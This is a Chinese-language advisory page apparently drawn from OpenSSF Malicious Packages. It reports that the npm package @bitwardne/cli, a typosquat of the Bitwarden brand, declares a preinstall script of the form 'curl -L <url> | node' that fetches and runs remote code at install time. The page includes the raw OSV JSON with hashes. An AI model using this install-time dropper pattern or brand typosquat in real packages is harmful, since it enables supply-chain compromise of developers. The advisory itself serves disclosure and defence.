目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

@bitwardne/cli

MAL-2026-17693
2026-10-08 16:53:40
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in @bitwardne/cli (npm)

安装阶段执行
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
—
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npm@bitwardne/cli1.0.1
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-10-08T16:53:40Z","published":"2026-10-08T16:53:40Z","schema_version":"1.7.4","id":"MAL-2026-17693","summary":"Malicious code in @bitwardne/cli (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (cf7d0b3168a3a56cb6208688970e6109a964ccfb99a97fe7061d57e007b67ca6)\npackage.json declares a preinstall lifecycle script of the form 'curl -L <url> | node', which fetches remote content and executes it in Node at npm install time. In this published version the URL slot is empty so the command fails as shipped, but the script shape is a canonical install-time remote-code-execution dropper that fires automatically on `npm install`. The package is published under the @bitwardne scope — a one-character variation of the Bitwarden brand — while the shipped source is a verbatim copy of the unrelated 'cli' option-parser library by Chris O'Hara (homepage node-js-libs/cli), with no legitimate connection between the scope name and the vendored code.\n","affected":[{"package":{"ecosystem":"npm","name":"@bitwardne/cli"},"versions":["1.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"006c8facf58a8c21b5564c575bcbefb5375e1f5f7df0a9e25d6a473a57679e8f","tlsh":"1201c06607ed9c752f819fc8fdfebcc498fa121286d8c48ba0a6dd0882551c6745f1e4"}],"package_integrity":[{"filename":"cli-1.0.1.tgz","hashes":{"sha1":"c475ed5a8e7787ce4285f9f88fc09c7c7445c78e","sha512_sri":"sha512-9lepiqc0snkDE4JLMAZ7VEEYb6qgDpQ3UT7ejpuk2c0c8JWE3Eu/oZT63CjpiY+pgYSB3820FxDv8I2tTTRI5A=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@bitwardne/cli/v/1.0.1"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-021212","import_time":"2026-10-08T17:17:19.186538972Z","modified_time":"2026-10-08T16:53:40Z","sha256":"cf7d0b3168a3a56cb6208688970e6109a964ccfb99a97fe7061d57e007b67ca6","source":"amazon-inspector","versions":["1.0.1"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0